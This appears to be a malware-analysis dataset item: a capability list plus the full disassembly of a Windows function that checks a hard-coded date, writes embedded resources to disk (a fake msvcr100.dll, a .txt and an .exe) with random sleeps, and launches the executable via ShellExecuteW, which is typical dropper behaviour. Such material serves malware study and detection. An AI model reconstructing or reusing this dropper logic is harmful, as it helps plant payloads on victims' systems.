Function at 0x40c290
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Create process on windows
Create thread
Encode data using base64
Schedule task via at
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57d5bc
mov eax, dword fs:[0]
push eax
sub esp, 0x8dc
mov eax, dword [0x5e4fcc]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x98], ecx
lea ecx, [ebp - 0x134]
mov dword [ebp - 0x38], 0
call fcn.0040a610
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x3b4]
call fcn.0040dfc0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x134]
push eax
call fcn.0040a220
mov byte [ebp - 4], 2
lea eax, [ebp - 0x3a4]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x398]
test eax, eax
je 0x40c32d
push eax
mov eax, dword [ebp - 0x3a4]
lea ecx, [ebp - 0x3a4]
call dword [eax + 0xc]
mov dword [ebp - 0x398], 0
mov dword [ebp - 0x390], 0
mov dword [ebp - 0x394], 0
mov byte [ebp - 4], 2
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2ac]
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
call fcn.0040a610
mov byte [ebp - 4], 5
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x2a0], 0x5c2f1c
mov byte [ebp - 4], 6
lea eax, [ebp - 0x2ac]
push eax
lea ecx, [ebp - 0x200]
call fcn.004136b0
mov byte [ebp - 4], 7
mov edx, eax
mov ecx, dword [0x5ee9f0]
call fcn.00405230
mov byte [ebp - 4], 6
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x1f4]
test eax, eax
je 0x40c3dd
push eax
mov eax, dword [ebp - 0x200]
lea ecx, [ebp - 0x200]
call dword [eax + 0xc]
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x1ec], 0
mov dword [ebp - 0x1f0], 0
mov byte [ebp - 4], 6
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x29c]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xc
mov eax, dword [ebp - 0x290]
test eax, eax
je 0x40c43e
push eax
mov eax, dword [ebp - 0x29c]
lea ecx, [ebp - 0x29c]
call dword [eax + 0xc]
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x28c], 0
mov byte [ebp - 4], 0xa
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0
lea eax, [ebp - 0x3e0]
push 4
push eax
lea ecx, [ebp - 0x134]
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
call fcn.00415840
mov byte [ebp - 4], 0xd
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x40c4a4
cmp dword [eax + 0x24], ecx
mov ecx, 0x5bfe9c
je 0x40c4a4
mov ecx, dword [eax + 0x1c]
mov eax, str._365
nop dword [eax]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x40c4d6
test dx, dx
je 0x40c4d2
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x40c4d6
add ecx, 4
add eax, 4
test dx, dx
jne 0x40c4b0
xor esi, esi
jmp 0x40c4db
sbb esi, esi
or esi, 1
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x3d0]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0x3c4]
test eax, eax
je 0x40c510
push eax
mov eax, dword [ebp - 0x3d0]
lea ecx, [ebp - 0x3d0]
call dword [eax + 0xc]
mov dword [ebp - 0x3c4], 0
mov dword [ebp - 0x3bc], 0
mov dword [ebp - 0x3c0], 0
mov byte [ebp - 4], 0xe
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
test esi, esi
jne 0x40d4fd
lea ecx, [ebp - 0x160]
call fcn.0040a610
mov byte [ebp - 4], 0x11
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x154], str.2009_12_21_20:01:12
mov byte [ebp - 4], 0x12
mov ebx, 0x5bfe9c
mov eax, dword [ebp - 0x154]
test eax, eax
jne 0x40c597
cmp dword [ebp - 0x13c], esi
mov eax, ebx
cmovne eax, dword [ebp - 0x144]
mov ecx, eax
call fcn.00416050
movsd qword [ebp - 0x94], xmm0
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x150]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x144]
test eax, eax
je 0x40c5db
push eax
mov eax, dword [ebp - 0x150]
lea ecx, [ebp - 0x150]
call dword [eax + 0xc]
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x140], 0
mov byte [ebp - 4], 0x14
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
call fcn.00416460
movsd xmm1, qword [ebp - 0x94]
comisd xmm1, xmm0
jbe 0x40c742
lea ecx, [ebp - 0x2d8]
call fcn.0040a610
mov byte [ebp - 4], 0x17
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x2cc], 0x5c2f1c
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x2d8]
push eax
lea ecx, [ebp - 0x21c]
call fcn.004136b0
mov byte [ebp - 4], 0x19
mov edx, eax
mov ecx, dword [0x5ee9f0]
call fcn.00405230
mov byte [ebp - 4], 0x18
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x1a
mov eax, dword [ebp - 0x210]
test eax, eax
je 0x40c6a2
push eax
mov eax, dword [ebp - 0x21c]
lea ecx, [ebp - 0x21c]
call dword [eax + 0xc]
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x208], 0
mov dword [ebp - 0x20c], 0
mov byte [ebp - 4], 0x18
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x2c8]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x1e
mov eax, dword [ebp - 0x2bc]
test eax, eax
je 0x40c703
push eax
mov eax, dword [ebp - 0x2c8]
lea ecx, [ebp - 0x2c8]
call dword [eax + 0xc]
mov dword [ebp - 0x2bc], 0
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b8], 0
mov byte [ebp - 4], 0x1c
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
jmp 0x40de11
lea ecx, [ebp - 0x680]
call fcn.00409e00
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x654]
push 4
push ecx
mov ecx, eax
call fcn.00415840
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x628]
push 1
push ecx
mov ecx, eax
call fcn.00415720
mov byte [ebp - 4], 0x21
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x40c78d
cmp dword [eax + 0x24], ecx
mov ecx, 0x5bfe9c
je 0x40c78d
mov ecx, dword [eax + 0x1c]
mov eax, 0x5c2f58
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x40c7b8
test dx, dx
je 0x40c7b4
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x40c7b8
add ecx, 4
add eax, 4
test dx, dx
jne 0x40c792
xor esi, esi
jmp 0x40c7bd
sbb esi, esi
or esi, 1
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x628]
call fcn.0040a290
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x654]
call fcn.0040a290
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x680]
call fcn.0040a290
test esi, esi
je 0x40de11
mov esi, dword [0x5eeacc]
add esi, 8
cmp dword [esi + 0x14], 0
jne 0x40c854
mov eax, dword [esi + 4]
mov dword [esi + 0x14], 1
test eax, eax
je 0x40c816
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [esi + 8]
mov dword [esi + 0x10], 0
push eax
push 0
push esi
push 0x4148e0
push 0
push 0
mov dword [esi + 0x18], 0x40ab10
mov dword [esi + 0x1c], 0x5eeac0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 4], eax
test eax, eax
jne 0x40c854
mov dword [esi + 0x14], eax
lea ecx, [ebp - 0x598]
call fcn.0040a610
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x8c]
call fcn.0040a610
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x18c]
call fcn.0040a610
mov byte [ebp - 4], 0x24
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x180], 0x5c2f5c
mov byte [ebp - 4], 0x25
mov esi, dword [ebp - 0x128]
test esi, esi
je 0x40c8b7
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x40c8a6
sub esi, ecx
sar esi, 1
jmp 0x40c8c4
mov esi, dword [ebp - 0x110]
test esi, esi
je 0x40c8c4
shr esi, 1
dec esi
mov eax, dword [ebp - 0x180]
test eax, eax
jne 0x40c8de
cmp dword [ebp - 0x168], 0
mov eax, ebx
cmovne eax, dword [ebp - 0x170]
sub esp, 0xc
lea ecx, [ebp - 0x134]
push eax
call fcn.00415a60
sub esi, eax
lea ecx, [ebp - 0x134]
dec esi
lea eax, [ebp - 0x6ac]
push esi
push eax
call fcn.00415840
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x8c]
push eax
call fcn.0040a220
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x6ac]
call fcn.0040a290
mov byte [ebp - 4], 0x28
lea eax, [ebp - 0x17c]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x2a
mov eax, dword [ebp - 0x170]
test eax, eax
je 0x40c957
push eax
mov eax, dword [ebp - 0x17c]
lea ecx, [ebp - 0x17c]
call dword [eax + 0xc]
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x16c], 0
mov byte [ebp - 4], 0x28
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x80]
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
test ecx, ecx
je 0x40c9b1
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40c9a0
sub ecx, edx
sar ecx, 1
jmp 0x40c9bb
mov ecx, dword [ebp - 0x68]
test ecx, ecx
je 0x40c9bb
shr ecx, 1
dec ecx
lea eax, [ecx - 7]
push eax
lea eax, [ebp - 0x6d8]
push eax
lea ecx, [ebp - 0x8c]
call fcn.00415720
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x8c]
push eax
call fcn.0040a220
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x6d8]
call fcn.0040a290
lea ecx, [ebp - 0x5fc]
call fcn.00413630
mov esi, eax
mov dword [ebp - 0x3c], esi
mov byte [ebp - 4], 0x2c
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0x1c]
mov ebx, dword [ebp - 0x80]
mov dword [ebp - 0x44], edx
test ebx, ebx
jne 0x40ca33
cmp dword [ebp - 0x68], ebx
jne 0x40ca28
mov ebx, 0x5bfe9c
jmp 0x40ca33
mov ebx, dword [ebp - 0x70]
test ebx, ebx
je 0x40caf9
cmp word [ebx], 0
je 0x40caf9
mov edi, ebx
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40ca42
sub edi, ecx
sar edi, 1
shr edi, 1
je 0x40caf9
mov esi, dword [esi + 0x14]
mov ecx, dword [ebp - 0x3c]
lea eax, [esi + edi]
push eax
call fcn.00413fc0
add eax, esi
push edi
mov esi, eax
mov dword [ebp - 0x40], eax
push 0
push esi
call fcn.00560bf0
add esp, 0xc
nop dword [eax + eax]
movzx ecx, word [ebx]
mov edx, ecx
lea eax, [edx - 0x30]
cmp ax, 9
ja 0x40ca93
sub cl, 0x30
jmp 0x40cab2
lea eax, [edx - 0x41]
cmp ax, 5
ja 0x40caa1
sub cl, 0x37
jmp 0x40cab2
lea eax, [edx - 0x61]
cmp ax, 5
ja 0x40caaf
sub cl, 0x57
jmp 0x40cab2
or cl, 0xff
movzx edx, word [ebx + 2]
lea eax, [edx - 0x30]
cmp ax, 9
ja 0x40cac4
sub dl, 0x30
jmp 0x40cae3
lea eax, [edx - 0x41]
cmp ax, 5
ja 0x40cad2
sub dl, 0x37
jmp 0x40cae3
lea eax, [edx - 0x61]
cmp ax, 5
ja 0x40cae0
sub dl, 0x57
jmp 0x40cae3
or dl, 0xff
shl cl, 4
add ebx, 4
or cl, dl
mov byte [esi], cl
inc esi
sub edi, 1
jne 0x40ca80
mov esi, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x44]
push edx
mov edx, esi
lea ecx, [ebp - 0x5e0]
call fcn.0040deb0
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x60]
push eax
call fcn.004073a0
mov byte [ebp - 4], 0x2f
mov eax, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
sub eax, esi
cmp eax, 4
jl 0x40cb3a
mov eax, dword [ebp - 0x54]
mov dword [eax + esi], 0
mov eax, dword [ebp - 0x4c]
add eax, 4
mov dword [ebp - 0x4c], eax
jmp 0x40cb50
lea eax, [esi + 4]
push eax
lea ecx, [ebp - 0x60]
call fcn.00413fc0
mov dword [eax + esi], 0
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x54]
xor ecx, ecx
test eax, eax
cmove edx, ecx
lea ecx, [ebp - 0x5c4]
call fcn.0040a610
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x5c4]
push edx
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CWString.0
call fcn.00415420
mov byte [ebp - 4], 0x2f
mov dword [ebp - 0x38], 2
mov byte [ebp - 4], 0x2e
mov dword [ebp - 0x60], vtable.CVolMem.0
mov byte [ebp - 4], 0x31
mov eax, dword [ebp - 0x54]
test eax, eax
je 0x40cbaa
push eax
mov eax, dword [ebp - 0x60]
lea ecx, [ebp - 0x60]
call dword [eax + 0xc]
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x50], 0
mov byte [ebp - 4], 0x2e
lea eax, [ebp - 0x5c4]
push eax
lea ecx, [ebp - 0x8c]
mov dword [ebp - 0x60], vtable.CVolObject.0
call fcn.0040a220
mov edi, 2
mov dword [ebp - 0x38], edi
and edi, 0xfffffffd
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x5c4]
call fcn.0040a290
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x5e0]
call fcn.00407890
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x5fc]
call fcn.00407890
lea ecx, [ebp - 0x1b8]
call fcn.0040a610
mov byte [ebp - 4], 0x32
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x1ac], 0x5c3020
mov byte [ebp - 4], 0x33
mov esi, dword [ebp - 0x80]
test esi, esi
je 0x40cc61
lea ecx, [esi + 2]
nop dword [eax + eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x40cc50
sub esi, ecx
sar esi, 1
jmp 0x40cc6b
mov esi, dword [ebp - 0x68]
test esi, esi
je 0x40cc6b
shr esi, 1
dec esi
mov eax, dword [ebp - 0x1ac]
test eax, eax
jne 0x40cc87
cmp dword [ebp - 0x194], eax
mov eax, 0x5bfe9c
cmovne eax, dword [ebp - 0x19c]
sub esp, 0xc
lea ecx, [ebp - 0x8c]
push eax
call fcn.00415a60
sub esi, eax
lea ecx, [ebp - 0x8c]
dec esi
lea eax, [ebp - 0x704]
push esi
push eax
call fcn.00415840
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x598]
push eax
call fcn.0040a220
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x704]
call fcn.0040a290
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0x1a8]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x38
mov eax, dword [ebp - 0x19c]
test eax, eax
je 0x40cd00
push eax
mov eax, dword [ebp - 0x1a8]
lea ecx, [ebp - 0x1a8]
call dword [eax + 0xc]
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x198], 0
mov byte [ebp - 4], 0x36
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x80]
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
test ecx, ecx
je 0x40cd55
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40cd44
sub ecx, edx
sar ecx, 1
jmp 0x40cd5f
mov ecx, dword [ebp - 0x68]
test ecx, ecx
je 0x40cd5f
shr ecx, 1
dec ecx
mov edx, dword [ebp - 0x58c]
test edx, edx
je 0x40cd81
lea esi, [edx + 2]
nop dword [eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x40cd70
sub edx, esi
sar edx, 1
jmp 0x40cd8e
mov edx, dword [ebp - 0x574]
test edx, edx
je 0x40cd8e
shr edx, 1
dec edx
sub ecx, edx
lea eax, [ebp - 0x730]
push ecx
push eax
lea ecx, [ebp - 0x8c]
call fcn.00415720
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x8c]
push eax
call fcn.0040a220
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x730]
call fcn.0040a290
mov edx, 0x7d0
mov ecx, 0x3e8
call fcn.00412ce0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push eax
call ebx
lea eax, [ebp - 0x598]
push eax
lea edx, [ebp - 0x8c]
lea ecx, [ebp - 0x788]
call fcn.00415ba0
mov byte [ebp - 4], 0x3a
mov edx, eax
push 0x5c2f60
lea ecx, [ebp - 0x75c]
call fcn.00415d10
add esp, 8
mov byte [ebp - 4], 0x3b
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x40ce23
cmp dword [eax + 0x24], ecx
mov ecx, 0x5bfe9c
je 0x40ce23
mov ecx, dword [eax + 0x1c]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x75c]
call fcn.0040a290
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x788]
call fcn.0040a290
mov edx, 0x7d0
mov ecx, 0x3e8
call fcn.00412ce0
push eax
call ebx
mov byte [ebp - 4], 0x3c
mov dword [ebp - 0xb4], vtable.CVolCommonBaseWithMemManager.0
mov dword [ebp - 0xb4], vtable.CVolObject.0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0
mov byte [ebp - 4], 0x3d
mov dword [ebp - 0xb4], vtable.CVolMem.0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0x9c], 0x40
mov byte [ebp - 4], 0x3c
lea eax, [ebp - 0xb4]
push eax
or edi, 4
mov ecx, 0x5ee9b0
push 0x1f7
mov dword [ebp - 0x38], edi
call fcn.0040e060
mov eax, dword [ebp - 0xa0]
xor edx, edx
mov ecx, dword [ebp - 0xa8]
test eax, eax
push edx
cmove ecx, edx
mov dword [ebp - 0x44], edx
lea edx, [ebp - 0x44]
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
and edi, 0xfffffffb
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0xb4]
call fcn.00407890
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x7d0
mov ecx, 0x3e8
call fcn.00412ce0
push eax
call ebx
push str.msvcr100.dll
lea edx, [ebp - 0x8c]
lea ecx, [ebp - 0x7b4]
call fcn.00415d10
add esp, 4
mov byte [ebp - 4], 0x3e
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x40cf73
cmp dword [eax + 0x24], ecx
mov ecx, 0x5bfe9c
je 0x40cf73
mov ecx, dword [eax + 0x1c]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x7b4]
call fcn.0040a290
mov edx, 0x7d0
mov ecx, 0x3e8
call fcn.00412ce0
push eax
call ebx
mov byte [ebp - 4], 0x3f
mov dword [ebp - 0xd0], vtable.CVolCommonBaseWithMemManager.0
mov dword [ebp - 0xd0], vtable.CVolObject.0
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], 0
mov byte [ebp - 4], 0x40
mov dword [ebp - 0xd0], vtable.CVolMem.0
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xb8], 0x40
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0xd0]
push eax
or edi, 8
mov ecx, 0x5ee9b0
push 0x1f5
mov dword [ebp - 0x38], edi
call fcn.0040e060
mov eax, dword [ebp - 0xbc]
xor edx, edx
mov ecx, dword [ebp - 0xc4]
test eax, eax
push edx
cmove ecx, edx
mov dword [ebp - 0x40], edx
lea edx, [ebp - 0x40]
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
and edi, 0xfffffff7
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0xd0]
call fcn.00407890
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call ebx
push 0x5c2f88
lea edx, [ebp - 0x8c]
lea ecx, [ebp - 0x7e0]
call fcn.00415d10
add esp, 4
mov byte [ebp - 4], 0x41
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x40d0a9
cmp dword [eax + 0x24], ecx
mov ecx, 0x5bfe9c
je 0x40d0a9
mov ecx, dword [eax + 0x1c]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x7e0]
call fcn.0040a290
mov edx, 0x7d0
mov ecx, 0x3e8
call fcn.00412ce0
push eax
call ebx
mov byte [ebp - 4], 0x42
mov dword [ebp - 0xec], vtable.CVolCommonBaseWithMemManager.0
mov dword [ebp - 0xec], vtable.CVolObject.0
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0
mov byte [ebp - 4], 0x43
mov dword [ebp - 0xec], vtable.CVolMem.0
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd4], 0x40
mov byte [ebp - 4], 0x42
lea eax, [ebp - 0xec]
push eax
or edi, 0x10
mov ecx, 0x5ee9b0
push 0x1f4
mov dword [ebp - 0x38], edi
call fcn.0040e060
mov eax, dword [ebp - 0xd8]
xor edx, edx
mov ecx, dword [ebp - 0xe0]
test eax, eax
push edx
cmove ecx, edx
mov dword [ebp - 0x3c], edx
lea edx, [ebp - 0x3c]
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
and edi, 0xffffffef
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0xec]
call fcn.00407890
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call ebx
push 0x5c2f98
lea edx, [ebp - 0x8c]
lea ecx, [ebp - 0x80c]
call fcn.00415d10
add esp, 4
mov byte [ebp - 4], 0x44
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x40d1df
cmp dword [eax + 0x24], ecx
mov ecx, 0x5bfe9c
je 0x40d1df
mov ecx, dword [eax + 0x1c]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x80c]
call fcn.0040a290
mov edx, 0x7d0
mov ecx, 0x3e8
call fcn.00412ce0
push eax
call ebx
mov byte [ebp - 4], 0x45
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolCommonBaseWithMemManager.0
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0
mov byte [ebp - 4], 0x46
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf0], 0x40
mov byte [ebp - 4], 0x45
lea eax, [ebp - 0x108]
push eax
or edi, 0x20
mov ecx, 0x5ee9b0
push 0x1f6
mov dword [ebp - 0x38], edi
call fcn.0040e060
mov eax, dword [ebp - 0xf4]
xor edx, edx
mov ecx, dword [ebp - 0xfc]
test eax, eax
push edx
cmove ecx, edx
mov dword [ebp - 0x90], edx
lea edx, [ebp - 0x90]
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
and edi, 0xffffffdf
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x108]
call fcn.00407890
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
push 0x3e8
call ebx
lea eax, [ebp - 0x598]
push eax
lea edx, [ebp - 0x8c]
lea ecx, [ebp - 0x864]
call fcn.00415ba0
mov byte [ebp - 4], 0x47
mov edx, eax
push str..txt
lea ecx, [ebp - 0x838]
call fcn.00415d10
add esp, 8
mov byte [ebp - 4], 0x48
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x40d335
cmp dword [eax + 0x24], ecx
mov ecx, 0x5bfe9c
je 0x40d335
mov ecx, dword [eax + 0x1c]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x838]
call fcn.0040a290
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x864]
call fcn.0040a290
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax + 0x14]
test ecx, ecx
jne 0x40d37f
xor eax, eax
jmp 0x40d382
mov eax, dword [eax + 0xc]
push 0
lea edx, [ebp - 0x34]
mov dword [ebp - 0x34], 0
push edx
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call edi
push 0x42e1
call ebx
lea ecx, [ebp - 0x304]
call fcn.0040a610
mov byte [ebp - 4], 0x49
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x2f8], 0x5c2fcc
mov byte [ebp - 4], 0x4a
lea eax, [ebp - 0x8c]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x8e8]
call fcn.00415ba0
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0x598]
push ecx
mov edx, eax
lea ecx, [ebp - 0x8bc]
call fcn.00415ba0
mov byte [ebp - 4], 0x4c
mov edx, eax
push str..exe_
lea ecx, [ebp - 0x890]
call fcn.00415d10
add esp, 0xc
mov byte [ebp - 4], 0x4d
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x40d42a
cmp dword [eax + 0x24], ecx
mov ecx, 0x5bfe9c
je 0x40d42a
mov ecx, dword [eax + 0x1c]
push 5
push 0
push 0
push ecx
push 0x5c2fd0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x890]
call fcn.0040a290
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0x8bc]
call fcn.0040a290
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0x8e8]
call fcn.0040a290
